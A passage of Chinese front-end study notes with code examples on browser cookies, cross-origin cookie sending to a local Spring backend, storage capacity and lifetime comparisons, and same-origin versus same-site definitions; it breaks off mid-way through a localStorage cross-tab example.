<span class="line"><span style="color:#ABB2BF">			};</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">			/*使用方法：setCookie('user', 'simon', 11);*/</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">			/*获取cookie*/</span></span>
<span class="line"><span style="color:#C678DD">			function</span><span style="color:#61AFEF"> getCookie</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75;font-style:italic">name</span><span style="color:#ABB2BF">){</span></span>
<span class="line"><span style="color:#C678DD">				var</span><span style="color:#E06C75"> arr</span><span style="color:#56B6C2">=</span><span style="color:#E5C07B">document</span><span style="color:#ABB2BF">.</span><span style="color:#E5C07B">cookie</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">split</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'; '</span><span style="color:#ABB2BF">);</span><span style="color:#7F848E;font-style:italic">//多个cookie值是以; 分隔的，用split把cookie分割开并赋值给数组</span></span>
<span class="line"><span style="color:#C678DD">				for</span><span style="color:#ABB2BF">(</span><span style="color:#C678DD">var</span><span style="color:#E06C75"> i</span><span style="color:#56B6C2">=</span><span style="color:#D19A66">0</span><span style="color:#ABB2BF">;</span><span style="color:#E06C75">i</span><span style="color:#56B6C2">&#x3C;</span><span style="color:#E5C07B">arr</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">length</span><span style="color:#ABB2BF">;</span><span style="color:#E06C75">i</span><span style="color:#56B6C2">++</span><span style="color:#ABB2BF">){</span><span style="color:#7F848E;font-style:italic">//历遍数组</span></span>
<span class="line"><span style="color:#C678DD">					var</span><span style="color:#E06C75"> ars</span><span style="color:#56B6C2">=</span><span style="color:#E06C75">arr</span><span style="color:#ABB2BF">[</span><span style="color:#E06C75">i</span><span style="color:#ABB2BF">].</span><span style="color:#61AFEF">split</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'='</span><span style="color:#ABB2BF">);</span><span style="color:#7F848E;font-style:italic">//原来割好的数组是：user=simon，再用split('=')分割成：user simon 这样可以通过arr2[0] arr2[1]来分别获取user和simon</span></span>
<span class="line"><span style="color:#C678DD">					if</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">ars</span><span style="color:#ABB2BF">[</span><span style="color:#D19A66">0</span><span style="color:#ABB2BF">]</span><span style="color:#56B6C2">==</span><span style="color:#E06C75">name</span><span style="color:#ABB2BF">){</span><span style="color:#7F848E;font-style:italic">//如果数组的属性名等于传进来的name</span></span>
<span class="line"><span style="color:#C678DD">					return</span><span style="color:#E06C75"> ars</span><span style="color:#ABB2BF">[</span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">];</span><span style="color:#7F848E;font-style:italic">//就返回属性名对应的值</span></span>
<span class="line"><span style="color:#ABB2BF">					}</span></span>
<span class="line"><span style="color:#ABB2BF">				}</span></span>
<span class="line"><span style="color:#C678DD">				return</span><span style="color:#98C379"> ''</span><span style="color:#ABB2BF">; </span><span style="color:#7F848E;font-style:italic">//没找到就返回空</span></span>
<span class="line"><span style="color:#ABB2BF">			}</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">			/*使用方法：getCookie('user')*/</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">			/*删除cookie*/</span></span>
<span class="line"><span style="color:#C678DD">			function</span><span style="color:#61AFEF"> removeCookie</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75;font-style:italic">name</span><span style="color:#ABB2BF">)</span></span>
<span class="line"><span style="color:#ABB2BF">			{</span></span>
<span class="line"><span style="color:#61AFEF">			  setCookie</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">name</span><span style="color:#ABB2BF">, </span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">, </span><span style="color:#56B6C2">-</span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">); </span><span style="color:#7F848E;font-style:italic">//-1就是告诉系统已经过期，系统就会立刻去删除cookie</span></span>
<span class="line"><span style="color:#ABB2BF">			};</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">			/*使用方法：removeCookie('user')*/</span></span>
<span class="line"><span style="color:#ABB2BF">		&#x3C;/</span><span style="color:#E06C75">script</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">	&#x3C;/</span><span style="color:#E06C75">head</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">	&#x3C;</span><span style="color:#E06C75">body</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">		</span></span>
<span class="line"><span style="color:#ABB2BF">		&#x3C;</span><span style="color:#E06C75">script</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#61AFEF">			fetch</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'http://localhost:2025/cache-controller'</span><span style="color:#ABB2BF">,{</span></span>
<span class="line"><span style="color:#E06C75">				credentials</span><span style="color:#ABB2BF">: </span><span style="color:#98C379">"include"</span><span style="color:#7F848E;font-style:italic">// 必须添加此行以携带 Cookie</span></span>
<span class="line"><span style="color:#ABB2BF">			}).</span><span style="color:#61AFEF">then</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75;font-style:italic">resp</span><span style="color:#C678DD">=></span><span style="color:#ABB2BF">{</span></span>
<span class="line"><span style="color:#E5C07B">				console</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">log</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">window</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">cookie</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#ABB2BF">			})</span></span>
<span class="line"><span style="color:#ABB2BF">		&#x3C;/</span><span style="color:#E06C75">script</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">	&#x3C;/</span><span style="color:#E06C75">body</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;/</span><span style="color:#E06C75">html</span><span style="color:#ABB2BF">></span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div></li>
<li>
<p>前端修改cookie，后端查看</p>
<div class="language-html line-numbers-mode has-collapsed-lines collapsed" data-highlighter="shiki" data-ext="html" style="--vp-collapsed-lines:15;background-color:#282c34;color:#abb2bf"><pre class="shiki one-dark-pro vp-code" v-pre=""><code><span class="line"><span style="color:#ABB2BF">&#x3C;!</span><span style="color:#E06C75">DOCTYPE</span><span style="color:#D19A66"> html</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">html</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">	&#x3C;</span><span style="color:#E06C75">head</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">		&#x3C;</span><span style="color:#E06C75">meta</span><span style="color:#D19A66"> charset</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"utf-8"</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">		&#x3C;</span><span style="color:#E06C75">title</span><span style="color:#ABB2BF">>cache-study&#x3C;/</span><span style="color:#E06C75">title</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">		&#x3C;</span><span style="color:#E06C75">script</span><span style="color:#ABB2BF">> </span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">            /*常用cookie操作封装*/</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">			/*设置cookie*/</span></span>
<span class="line"><span style="color:#C678DD">			function</span><span style="color:#61AFEF"> setCookie</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75;font-style:italic">name</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75;font-style:italic">value</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75;font-style:italic">iDay</span><span style="color:#ABB2BF">)</span></span>
<span class="line"><span style="color:#ABB2BF">			{</span></span>
<span class="line"><span style="color:#C678DD">			  var</span><span style="color:#E06C75"> oDate</span><span style="color:#56B6C2">=</span><span style="color:#C678DD">new</span><span style="color:#61AFEF"> Date</span><span style="color:#ABB2BF">();</span></span>
<span class="line"><span style="color:#E5C07B">			  oDate</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">setDate</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">oDate</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">getDate</span><span style="color:#ABB2BF">()</span><span style="color:#56B6C2">+</span><span style="color:#E06C75">iDay</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#E5C07B">			  document</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">cookie</span><span style="color:#56B6C2">=</span><span style="color:#E06C75">name</span><span style="color:#56B6C2">+</span><span style="color:#98C379">'='</span><span style="color:#56B6C2">+</span><span style="color:#E06C75">value</span><span style="color:#56B6C2">+</span><span style="color:#98C379">';expires='</span><span style="color:#56B6C2">+</span><span style="color:#E06C75">oDate</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#ABB2BF">			};</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">			/*使用方法：setCookie('user', 'simon', 11);*/</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">			/*获取cookie*/</span></span>
<span class="line"><span style="color:#C678DD">			function</span><span style="color:#61AFEF"> getCookie</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75;font-style:italic">name</span><span style="color:#ABB2BF">){</span></span>
<span class="line"><span style="color:#C678DD">				var</span><span style="color:#E06C75"> arr</span><span style="color:#56B6C2">=</span><span style="color:#E5C07B">document</span><span style="color:#ABB2BF">.</span><span style="color:#E5C07B">cookie</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">split</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'; '</span><span style="color:#ABB2BF">);</span><span style="color:#7F848E;font-style:italic">//多个cookie值是以; 分隔的，用split把cookie分割开并赋值给数组</span></span>
<span class="line"><span style="color:#C678DD">				for</span><span style="color:#ABB2BF">(</span><span style="color:#C678DD">var</span><span style="color:#E06C75"> i</span><span style="color:#56B6C2">=</span><span style="color:#D19A66">0</span><span style="color:#ABB2BF">;</span><span style="color:#E06C75">i</span><span style="color:#56B6C2">&#x3C;</span><span style="color:#E5C07B">arr</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">length</span><span style="color:#ABB2BF">;</span><span style="color:#E06C75">i</span><span style="color:#56B6C2">++</span><span style="color:#ABB2BF">){</span><span style="color:#7F848E;font-style:italic">//历遍数组</span></span>
<span class="line"><span style="color:#C678DD">					var</span><span style="color:#E06C75"> ars</span><span style="color:#56B6C2">=</span><span style="color:#E06C75">arr</span><span style="color:#ABB2BF">[</span><span style="color:#E06C75">i</span><span style="color:#ABB2BF">].</span><span style="color:#61AFEF">split</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'='</span><span style="color:#ABB2BF">);</span><span style="color:#7F848E;font-style:italic">//原来割好的数组是：user=simon，再用split('=')分割成：user simon 这样可以通过arr2[0] arr2[1]来分别获取user和simon</span></span>
<span class="line"><span style="color:#C678DD">					if</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">ars</span><span style="color:#ABB2BF">[</span><span style="color:#D19A66">0</span><span style="color:#ABB2BF">]</span><span style="color:#56B6C2">==</span><span style="color:#E06C75">name</span><span style="color:#ABB2BF">){</span><span style="color:#7F848E;font-style:italic">//如果数组的属性名等于传进来的name</span></span>
<span class="line"><span style="color:#C678DD">					return</span><span style="color:#E06C75"> ars</span><span style="color:#ABB2BF">[</span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">];</span><span style="color:#7F848E;font-style:italic">//就返回属性名对应的值</span></span>
<span class="line"><span style="color:#ABB2BF">					}</span></span>
<span class="line"><span style="color:#ABB2BF">				}</span></span>
<span class="line"><span style="color:#C678DD">				return</span><span style="color:#98C379"> ''</span><span style="color:#ABB2BF">; </span><span style="color:#7F848E;font-style:italic">//没找到就返回空</span></span>
<span class="line"><span style="color:#ABB2BF">			}</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">			/*使用方法：getCookie('user')*/</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">			/*删除cookie*/</span></span>
<span class="line"><span style="color:#C678DD">			function</span><span style="color:#61AFEF"> removeCookie</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75;font-style:italic">name</span><span style="color:#ABB2BF">)</span></span>
<span class="line"><span style="color:#ABB2BF">			{</span></span>
<span class="line"><span style="color:#61AFEF">			  setCookie</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75">name</span><span style="color:#ABB2BF">, </span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">, </span><span style="color:#56B6C2">-</span><span style="color:#D19A66">1</span><span style="color:#ABB2BF">); </span><span style="color:#7F848E;font-style:italic">//-1就是告诉系统已经过期，系统就会立刻去删除cookie</span></span>
<span class="line"><span style="color:#ABB2BF">			};</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">			/*使用方法：removeCookie('user')*/</span></span>
<span class="line"><span style="color:#ABB2BF">		&#x3C;/</span><span style="color:#E06C75">script</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">	&#x3C;/</span><span style="color:#E06C75">head</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">	&#x3C;</span><span style="color:#E06C75">body</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">		</span></span>
<span class="line"><span style="color:#ABB2BF">		&#x3C;</span><span style="color:#E06C75">script</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#E5C07B">			document</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">cookie</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> "test=hmz; samesite=Lax"</span><span style="color:#ABB2BF">; </span><span style="color:#7F848E;font-style:italic">// 前端修改cookie</span></span>
<span class="line"><span style="color:#61AFEF">			fetch</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'http://127.0.0.1:2025/cache-controller'</span><span style="color:#ABB2BF">,{</span></span>
<span class="line"><span style="color:#E06C75">				credentials</span><span style="color:#ABB2BF">: </span><span style="color:#98C379">"include"</span><span style="color:#7F848E;font-style:italic">// 必须添加此行以携带 Cookie</span></span>
<span class="line"><span style="color:#ABB2BF">			});</span></span>
<span class="line"><span style="color:#ABB2BF">		&#x3C;/</span><span style="color:#E06C75">script</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">	&#x3C;/</span><span style="color:#E06C75">body</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;/</span><span style="color:#E06C75">html</span><span style="color:#ABB2BF">></span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><div class="language-java line-numbers-mode has-collapsed-lines collapsed" data-highlighter="shiki" data-ext="java" style="--vp-collapsed-lines:15;background-color:#282c34;color:#abb2bf"><pre class="shiki one-dark-pro vp-code" v-pre=""><code><span class="line"><span style="color:#C678DD">package</span><span style="color:#C678DD"> xyz.hmz.backend.controller</span><span style="color:#ABB2BF">;</span></span>
<span class="line"></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.http.CacheControl</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.stereotype.Controller</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.web.bind.annotation.CrossOrigin</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.web.bind.annotation.GetMapping</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.web.bind.annotation.RequestMapping</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.web.bind.annotation.RestController</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> xyz.hmz.root.result.ResultVO</span><span style="color:#ABB2BF">;</span></span>
<span class="line"></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> javax.servlet.http.Cookie</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> javax.servlet.http.HttpServletRequest</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> javax.servlet.http.HttpServletResponse</span><span style="color:#ABB2BF">;</span></span>
<span class="line"></span>
<span class="line"><span style="color:#7F848E;font-style:italic">/**</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic"> * @Author haomingze</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic"> * @Date 2025/4/15 23:23</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic"> * @description:</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic"> */</span></span>
<span class="line"><span style="color:#ABB2BF">@</span><span style="color:#E5C07B">CrossOrigin</span><span style="color:#E06C75">(</span><span style="color:#D19A66">origins</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> "http://127.0.0.1:5500"</span><span style="color:#E06C75">) </span><span style="color:#7F848E;font-style:italic">// 允许跨域请求携带cookies  allowCredentials = "true"</span></span>
<span class="line"><span style="color:#ABB2BF">@</span><span style="color:#E5C07B">RestController</span></span>
<span class="line"><span style="color:#C678DD">public</span><span style="color:#C678DD"> class</span><span style="color:#E5C07B"> TestController</span><span style="color:#ABB2BF"> {</span></span>
<span class="line"><span style="color:#ABB2BF">    @</span><span style="color:#E5C07B">GetMapping</span><span style="color:#E06C75">(</span><span style="color:#98C379">"/cache-controller"</span><span style="color:#E06C75">)</span></span>
<span class="line"><span style="color:#C678DD">    public</span><span style="color:#E5C07B"> String</span><span style="color:#61AFEF"> testCacheController</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">HttpServletRequest</span><span style="color:#E06C75;font-style:italic"> request</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">HttpServletResponse</span><span style="color:#E06C75;font-style:italic"> response</span><span style="color:#ABB2BF">){</span></span>
<span class="line"><span style="color:#E5C07B">        Cookie</span><span style="color:#ABB2BF">[] </span><span style="color:#E06C75">cookies</span><span style="color:#56B6C2"> =</span><span style="color:#E5C07B"> request</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">getCookies</span><span style="color:#ABB2BF">();</span></span>
<span class="line"><span style="color:#C678DD">        for</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">Cookie</span><span style="color:#E06C75"> cookie</span><span style="color:#C678DD"> :</span><span style="color:#ABB2BF"> cookies) </span><span style="color:#E5C07B">System</span><span style="color:#ABB2BF">.</span><span style="color:#E5C07B">out</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">println</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"Cookie Name: "</span><span style="color:#56B6C2"> +</span><span style="color:#E5C07B"> cookie</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">getName</span><span style="color:#ABB2BF">() </span><span style="color:#56B6C2">+</span><span style="color:#98C379"> ", Cookie Value: "</span><span style="color:#56B6C2"> +</span><span style="color:#E5C07B"> cookie</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">getValue</span><span style="color:#ABB2BF">());</span></span>
<span class="line"><span style="color:#C678DD">        return</span><span style="color:#98C379"> "接口测试成功"</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#ABB2BF">    }</span></span>
<span class="line"><span style="color:#ABB2BF">}</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><blockquote>
<p>主要坑点在于跨域cookie的传递<a href="https://blog.csdn.net/lonelysnowman/article/details/128607318" target="_blank" rel="noopener noreferrer">【跨域】一篇文章彻底解决跨域设置cookie问题！-CSDN博客</a></p>
</blockquote>
</li>
</ol>
<h3 id="各类缓存机制的容量有什么区别-时效有什么区别-超时时间如何设置" tabindex="-1"><a class="header-anchor" href="#各类缓存机制的容量有什么区别-时效有什么区别-超时时间如何设置"><span>各类缓存机制的容量有什么区别？时效有什么区别？超时时间如何设置？</span></a></h3>
<p><em><strong>总结：</strong></em></p>
<p><em><strong>现在前端常用存储方式</strong></em></p>
<ol>
<li><em><strong>local/session storage</strong></em></li>
<li><em><strong>cookies</strong></em></li>
<li><em><strong>indexeddb</strong></em></li>
</ol>
<p><em><strong>几种方式的优缺点</strong></em></p>
<ol>
<li><em><strong>容量大小：cookies(4kb) &lt; local/session storage(5mb) &lt; indexedDB(理论上无限制，视浏览器环境)</strong></em></li>
<li><em><strong>有效期：cookies(过期时间) &lt;sessionStorage（页面关闭） &lt; localStorage/indexedDB（手动删除）</strong></em></li>
<li><em><strong>cookies会随着http请求一起发送到后台</strong></em></li>
<li><em><strong>cookies可以通过Domain和Path属性来实现一定程度的跨域访问</strong></em></li>
</ol>
<h3 id="不同域网页的缓存如何隔离-同时复习域是什么" tabindex="-1"><a class="header-anchor" href="#不同域网页的缓存如何隔离-同时复习域是什么"><span>不同域网页的缓存如何隔离？（同时复习域是什么？）</span></a></h3>
<blockquote>
<p>两个网页之间的关系分为：</p>
<ul>
<li>
<p>同源 （协议 域名 端口号 都相同）</p>
</li>
<li>
<p>同站/同域 （域名相同）</p>
</li>
<li>
<p>跨域  （协议 域名 端口号 有一个不一样就是跨域）</p>
</li>
<li>
<p>跨站（两个url的有效顶级域名+二级域名不一样就算跨站，跨站一定跨域，跨域未必跨站）</p>
<p><a href="https://juejin.cn/post/7233698667848777787" target="_blank" rel="noopener noreferrer">同源、跨域、同站、跨站、Cookie访问限制跨域、跨站讲解，在同源、跨域中同站/跨站中的Cookie访问限制以及对应的想 - 掘金</a></p>
</li>
</ul>
</blockquote>
<h3 id="同一域的两个网页实例如何相互得知缓存被修改" tabindex="-1"><a class="header-anchor" href="#同一域的两个网页实例如何相互得知缓存被修改"><span>同一域的两个网页实例如何相互得知缓存被修改？</span></a></h3>
<div class="language-html line-numbers-mode has-collapsed-lines collapsed" data-highlighter="shiki" data-ext="html" style="--vp-collapsed-lines:15;background-color:#282c34;color:#abb2bf"><pre class="shiki one-dark-pro vp-code" v-pre=""><code><span class="line"><span style="color:#ABB2BF">&#x3C;!</span><span style="color:#E06C75">DOCTYPE</span><span style="color:#D19A66"> html</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">html</span><span style="color:#D19A66"> lang</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"en"</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">head</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">meta</span><span style="color:#D19A66"> charset</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"UTF-8"</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">meta</span><span style="color:#D19A66"> name</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"viewport"</span><span style="color:#D19A66"> content</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"width=device-width, initial-scale=1.0"</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">title</span><span style="color:#ABB2BF">>A&#x3C;/</span><span style="color:#E06C75">title</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;/</span><span style="color:#E06C75">head</span><span style="color:#ABB2BF">></span></span>
<span class="line"></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">body</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">script</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">        // A 页面修改缓存</span></span>
<span class="line"><span style="color:#E5C07B">        localStorage</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">setItem</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">'A-key'</span><span style="color:#ABB2BF">, </span><span style="color:#98C379">'A-value'</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;/</span><span style="color:#E06C75">script</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;/</span><span style="color:#E06C75">body</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;/</span><span style="color:#E06C75">html</span><span style="color:#ABB2BF">></span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><div class="language-html line-numbers-mode has-collapsed-lines collapsed" data-highlighter="shiki" data-ext="html" style="--vp-collapsed-lines:15;background-color:#282c34;color:#abb2bf"><pre class="shiki one-dark-pro vp-code" v-pre=""><code><span class="line"><span style="color:#ABB2BF">&#x3C;!</span><span style="color:#E06C75">DOCTYPE</span><span style="color:#D19A66"> html</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">html</span><span style="color:#D19A66"> lang</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"en"</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">head</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">meta</span><span style="color:#D19A66"> charset</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"UTF-8"</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">meta</span><span style="color:#D19A66"> name</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"viewport"</span><span style="color:#D19A66"> content</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"width=device-width, initial-scale=1.0"</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">title</span><span style="color:#ABB2BF">>B&#x3C;/</span><span style="color:#E06C75">title</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;/</span><span style="color:#E06C75">head</span><span style="color:#ABB2BF">></span></span>
<span class="line"></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">body</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">script</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">        // 监听storage事件</span></span>
